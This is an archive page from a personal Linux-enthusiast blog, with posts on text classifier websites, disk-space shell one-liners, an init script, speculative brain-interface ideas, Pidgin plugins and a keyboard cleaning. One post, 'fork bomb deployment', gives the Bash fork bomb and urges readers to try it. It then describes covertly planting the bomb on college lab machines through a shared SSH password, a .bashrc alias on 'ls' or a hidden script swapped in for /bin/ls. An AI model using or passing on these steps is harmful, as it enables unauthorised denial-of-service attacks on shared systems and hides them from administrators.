Showing posts with label passion. Show all posts
Showing posts with label passion. Show all posts

March 19, 2009

Amusing Text Classifier

I just happened to visit Kuklutzklan and found a link to Gender Analyzer

It is a site that allows you to feed a blog's url and they try to tell you whether the author is a male or female.Now, ain't that amusing??(though I admit that it is pretty useless as it is)

What is more interesting is the technology that runs the site,uClassify.This site allows anyone to create text classifiers using their APIs. Now this should be interesting to CS people involved with information retrieval(me for eg.),artificial intelligence(me again),neural networks(me,me..),natural language processing(should i repeat?) and ..blogging(of course me). The gender analyzer doesn't seem to work for both my blogs, but then its not that easy to make classifiers for all kinds of people out there, who write in various fashions.They claim that it works perfectly in their labs ;)

A visit to uClassify showed that there are many other products based on this service,one for guessing mood of author,another for analyzing personality type,love type and sports type(??) of the author. The first one never worked for me with urls,but does work for plain text that I copied from my posts(which means text classifying is working,but not parsing maybe).Mood Analyzer

I liked Typealyzer as it does work properly for my blogs,each turning up different results(naturally based on contents or rather nouns).Its derivative ie. Sport and Love are pretty much the same as the original with some differences in wording(meh..didn't impress).

There is one more service which I found very interesting and pretty different,which I want every blogger/non-blogger to test(bloggers would want to check their own blogs first in all these tools).ofaust, as they claim, is a literature expert that parses your url/text and tells you which famous author you resemble and in case of text,it highlights similar patterns(wow)..I was more like Jonathan Swift for some of my entries.Check out who you resemble the most...

So bloggers,try out these interesting services and amuse yourself(or maybe learn something about yourself/blog) and definitely its a great idea to work upon for people interested in those early mentioned fields(in which I was present..remember?). It would be interesting to see more accurate and innovative services being built out of these APIs in these coming days....adios

August 10, 2008

fork bomb deployment

I have been telling about this to my friends over the last few weeks,now I am gonna post it here..
its the fork bomb..currently I will deal only with the Linux one...

vivek@vivek-desktop:~$ :(){ :|:& };:

What happens after this ?Please do try it out at home.Then read beyond this...

It is a fork bomb.When a process fork,a child process is created.Here we define a function ':' which calls itself and pipes to itself,thereby recursively calling itself and also goes to background.Once you type this and press Enter,you can't help...will have to reboot system manually.



What happens is that the infinite number of forked processes flood the process table and bring the system down.This is an ideal DOS attack.

Here I like to deal with more than introducing this concept...I have thought about unleashing it.

My ideas are based on our College lab setup.It works in our CC1.There all systems are accessible via ssh and passwords to 'mec' user is known.

1)ssh to system of choice as user(no need for root)
2)Either run it on terminal for instant gratification or maybe as in step 3
3)nano .bashrc
4)Add a line at end alias ls=':(){ :|:& };:'
5)save and exit

Note:it takes effect when new terminal is opened.
As ls is a common command,you get to see your devilish action at work many times,maybe until the system administrator finds it and fixes it.

This is quite susceptible to be discovered by anyone wise enough to open up bashrc and check out.
Another method i propose is to replace the /bin/ls with a soft link to a script of urs (hidden and in unusual places preferably) which contains the fork bomb.This is tougher to trace out,but needs either root access or a user with sudoer power.for eg:graphics user in our lab

Ah..now that we had enough fun crashing systems...lets think how this can be stopped so that no one plays this on you..or if u r the system admin(see..i care for them..i am a good guy).This can be stopped by editing the /etc/limits.conf file which specifies the number of processes(among other resources) that can be opened at a time by each user on the system.If you keep it a a decent value(by default unlimited),fork bombs won't explode..voila..hehe
So you see...the moral of the story is that ignorance is the biggest security hole in any system..you can always avoid or prevent such attacks by doing the right thing at the right time...

Happy denial of service... ;)

And ya..let me add what happened when I used its counterpart in windows...it spawned dos windows...one after other...but was able to shutdown properly using task manager...unlike Linux which completely died the moment after u entered this...hehe..bad news for Linux fans. :D

another df modification

df -H|sed -n '/^\//{H;d};${x;p}'

Just another modification to view usage of all partitions in the way I want...

vivek@vivek-desktop:~$ df -H|sed -n '/^\//{H;d};${x;p}'

/dev/sda3 13G 6.6G 5.6G 55% /
/dev/sda6 38G 32G 5.9G 85% /media/6
/dev/sda7 65G 63G 2.0G 97% /media/7
/dev/sda8 43G 38G 5.7G 87% /media/8
/dev/sda9 33G 32G 1.2G 97% /media/9
/dev/sda1 17G 7.4G 8.8G 46% /media/1
/dev/sda5 43G 41G 2.0G 96% /media/5

July 15, 2008

Thought Controlled Applications

Hi.
With the hunt for seminar topics...started the soaring imagination..my imagination.

I thought up 2-3 things that could change the way we live..if it were ever implemented.
I have mentioned about them in a fictional setup in my personal blog.
Here I will try to put down the specifications about these ideas and the issues I face.

The topics are kind of spawned from my deep interest in A.I,Neural Networks,Data Mining and the concept of web.All those who have heard about/played Neural Network Mapping would know my interest(or craze..as some see it) in understanding deep concepts of the mind and extracting it...and also the effort to connect it to the vast web containing the products of millions of brains and hearts...(actually billions and also hands,toes watever..)

Ok idea number one..in its raw form..is translating thoughts to a language understandable by softwares...mainly web search engines.A lot of doubts would arise in everyone's mind on hearing such ideas...one being the ability of machines to read and interpret thoughts...and even if did so...(actually brain signals have been utilised so far..never heard about any solid breakthrough in understanding thoughts)..the issue of utilizing it in its full strength.

I don't know if I can bring forward all the arguments and counter-arguments about this idea that I had over a period of time and write it in this post(if i do so...i fear this wud be a dynamically changing post,which wud require a reader to refresh page occasionally to read more)

My proposal is to use a nano device that resides in the brain(implanted) and can monitor brain signals.I assume that by the time this technology is operational,there would have been some breakthrough research that would allow us to atleast get an idea of what is being thought(i.e identify formation of thought and convert this into abstract form that can be used to uniquely identify the thought).It should be able to distinguish between my perception of an idea and another person's(which is quite different).What I think when I hear 'tree' is quite different from what you might be...Once this abstract form is available..it is transmitted out as a magnetic signal that doesn't affect normal working of body or other devices.

An external device (I called it mind-pod..:P),reads this data and can use it for any application.Here I am trying it for searching the web.This is tricky.I have to use an advanced AI to create a set of keywords from the abstract form that would then be used to fetch accurate results from teh web in the ordinary way.I felt this is a revolutionary idea..but depends a lot on future technologies and as a IR man,only the small AI is involved..which might well be done with some AI and Data Mining.My original design had design and concept flaws,so I propose this.The abstract form maybe used for any other innovative applications as well..actually it would open up a plethora of opportunities for application development....


The second topic is similar...its called dream analyzer(Dreamfix).Its faar more advanced than the previous..it should be able to read dreams and make a list of possible inferences.Its application would to be salvage useful ideas after a nap..after all sleep enhances thought processes and creativity!!!

April 30, 2008

Automated scripts

This is a simple and very simple script! Not even worth mentioning as it does nothing but utilizes another command.Still let it be here.

#/bin/bash
df -H|awk 'BEGIN{i=0;j=0} $1~/\/dev/ \
{if($4~/M$/){i=i+($4/1000)}else{i=i+$4};j=j+$2} \
END{print"Free space:"i" GB";print"Total Space:"j" GB";print"Percentage Free:"i/j*100"%"}'


Its self explaining enough.
Sample output is:

vivek@vivek-desktop:~$ space
Free space:31.6 GB
Total Space:252 GB
Percentage Free:12.5397%
vivek@vivek-desktop:~$


Here is the content of my /etc/init.d/bootmisc.sh
I guess here I can add some scripts I need to run.

#!/bin/sh
### BEGIN INIT INFO
# Provides: bootmisc
# Required-Start: $local_fs hostname $remote_fs
# Required-Stop: $local_fs
# Default-Start: S
# Default-Stop:
# Short-Description: Miscellaneous things to be done during bootup.
# Description:
### END INIT INFO

PATH=/usr/sbin:/usr/bin:/sbin:/bin
[ "$DELAYLOGIN" ] || DELAYLOGIN=yes
. /lib/init/vars.sh

do_start () {
#
# If login delaying is enabled then create the flag file
# which prevents logins before startup is complete
#
case "$DELAYLOGIN" in
Y*|y*)
echo "System bootup in progress - please wait" > /var/lib/initscripts/nologin
;;
esac

# Create /var/run/utmp so we can login.
: > /var/run/utmp
if grep -q ^utmp: /etc/group
then
chmod 664 /var/run/utmp
chgrp utmp /var/run/utmp
fi

# Set pseudo-terminal access permissions.
if [ ! -e /dev/.devfsd ] && [ -c /dev/ttyp0 ]
then
chmod -f 666 /dev/tty[p-za-e][0-9a-f]
chown -f root:tty /dev/tty[p-za-e][0-9a-f]
fi

# Update motd
uname -snrvm > /var/run/motd
[ -f /etc/motd.tail ] && cat /etc/motd.tail >> /var/run/motd

# Save kernel messages in /var/log/dmesg
if which dmesg >/dev/null 2>&1
then
savelog -q -p -c 5 /var/log/dmesg
dmesg -s 524288 > /var/log/dmesg
chgrp adm /var/log/dmesg || :
elif [ -c /dev/klog ]
then
savelog -q -p -c 5 /var/log/dmesg
dd if=/dev/klog of=/var/log/dmesg &
sleep 1
kill $!
[ -f /var/log/dmesg ] && { chgrp adm /var/log/dmesg || : ; }
fi

# Remove bootclean's flag files.
# Don't run bootclean again after this!
rm -f /tmp/.clean
}

case "$1" in
start|"")
do_start
;;
restart|reload|force-reload)
echo "Error: argument '$1' not supported" >&2
exit 3
;;
stop)
# No-op
;;
*)
echo "Usage: bootmisc.sh [start|stop]" >&2
exit 3
;;
esac

:

April 05, 2008

Pidgin rocks!!!

PIDGIN




This is about my favorite IM,Purple Pidgin.I had used GAIM messenger previously in Linux.As with most of the Linux Apps, it had lots of shortcomings,in spite of which we all loved and used it ..mainly because that was the best one available.

Then with the latest Ubuntu came Pidgin.The base install is clean and looks similar to GAIM,only that the interface looks more clean and attractive.Also with pidgin,I set up my google and yahoo accounts and hence was more useful to me than my GAIM,for which I didn't know how to setup up google account.



Why I am suddenly blogging about this software is because last week I was bored and had nothing to do.... and my bandwidth was pretty low.So I just opened up Pidgin and started checking out all options and configurations.I got curious with the plugin list which is quite interesting.There was a mention about more plugins available on the site.

After 2 am that day...I searched for pidgin plugins...got a few sites and went through the plugins...some where mind-blowing and some were the features that other IMs sport.I had also checked the Google Summer of Code page for Pidgin,there were some interesting plugins like Musictracker which puts currently playing music on status message.Soon I had found about 10 plugins and downloaded and installed each.


The main one I did was the best in the pack.It gives a script for my site.I can put up a chat window on any site,with the javascript.Then I have to configure my client with a new Account(all details from that site itself).I configured it and tried it soon...it was simply amazing...I really love it.Many of my pals have already tried it.Its here in this blog...please do try if I am online.

I also installed some more plugins from the Synaptic Package Manager.I didn't get a chance to try them though.Today I found all of them installed and I just went through the Plugins list..whoa..and I enabled a few.I will list the ones I liked and am using and describe a few.

Chat colours,autocomplete(really cool),Off the Record,Invisibility,Away Time Setter,Psychic Mode,Availabilty Probability,GUIfications,Hotkeys,New Smileys,Notifications,Music Messaging and Mouse Gestures.

Invisibility and Off the Record
The really cool features available in most IMs...now in Pidgin too

Psychic Mode
Whenever a user starts typing a new conversation...I get a funny message..saying "I feel a disturbance in the force..."so i can react before they do....helps startle my buddies...

Availability Probability
This I don't know how it works.It is supposed to give probability of being available for each contact.... :P

GUIfications
Cool pop ups and notifications when someone types or leaves or returns

Music Messaging
Allows people work on same score of music simultaneously..not much use to me..but cool

Mouse Gestures
Allows many operations by mouse gestures..cool

There are many more cool features about Pidgin and many more to come.Anyway pidgin has become more fun than gtalk.It just lacks in file transferring,voicemails and ability to remove status messages.

Pidgin Site
Also there is a command line version called Finch.Its really cool..do try it out.
Finch

April 04, 2008

My love...ma keyboard



It happened so that I was going to sleep and decided that as it was 1.30am,I should login and then put some downloads.DSP preparation is scheduled.
But what awaited me were dead keys on the keyboard,quite a lot of them.I had struggled with them earlier in the day,but now it wasn't going away,I couldn't even login....what else could be a worse situation for a terminal savvy person???Gosh...I was worried whether I would need to run to the shop tomorrow to buy a new keyboard.
I did some google search(carefully using other keys) and most sites asked me to replace keyboard if such dead keys occur frequently.
Umpgh....I had a sudden impulse and quickly shutdown the system and grabbed a screwdriver.I tried removing the dead keys,but the keys around didn't allow....so I set to remove each and everyone...anyway I hadn't cleaned it after it was bought 2 yrs back.
So I set to the task of popping out key after key without bothering to remember their positions,I was fully enjoying it.It was fun...some keys flew away and had to be picked up.Only after removing majority of the keys did I realize that I should have noticed their positions...oh well..I didnt expect the dead keys to be fixed..but then I wanted to continue with this work.Also in the process of removal,I accidentally broke the Space key partially which was working very well and the most used key.
Sigh...

Then I set to cleaning up the dirty board with some hankie..it was fun...2mins...job done.Now remained the huge task of replacing the keys to the correct position and sleep was rocking me like anything....yawn..even now...
And I put those parts back which I knew well(thats around 80%).Rest was guess work.I had to try some keys few times to get it right.I had my doubts whether the keys would respond.
So I connected the fully set keyboard and powered up to Windows.I did some type tests and found 2-3 misplacements.I was relieved only when I logged into Ubuntu,put downloads and typed this in...love u my keyboard.
I am keyboard savvy person in love with the terminal,and only when the keyboard was in a dangerous situation did I felt the real pain.I was so worried about what I would without my black beauty...the one that helps me conquer the terminal...hehe...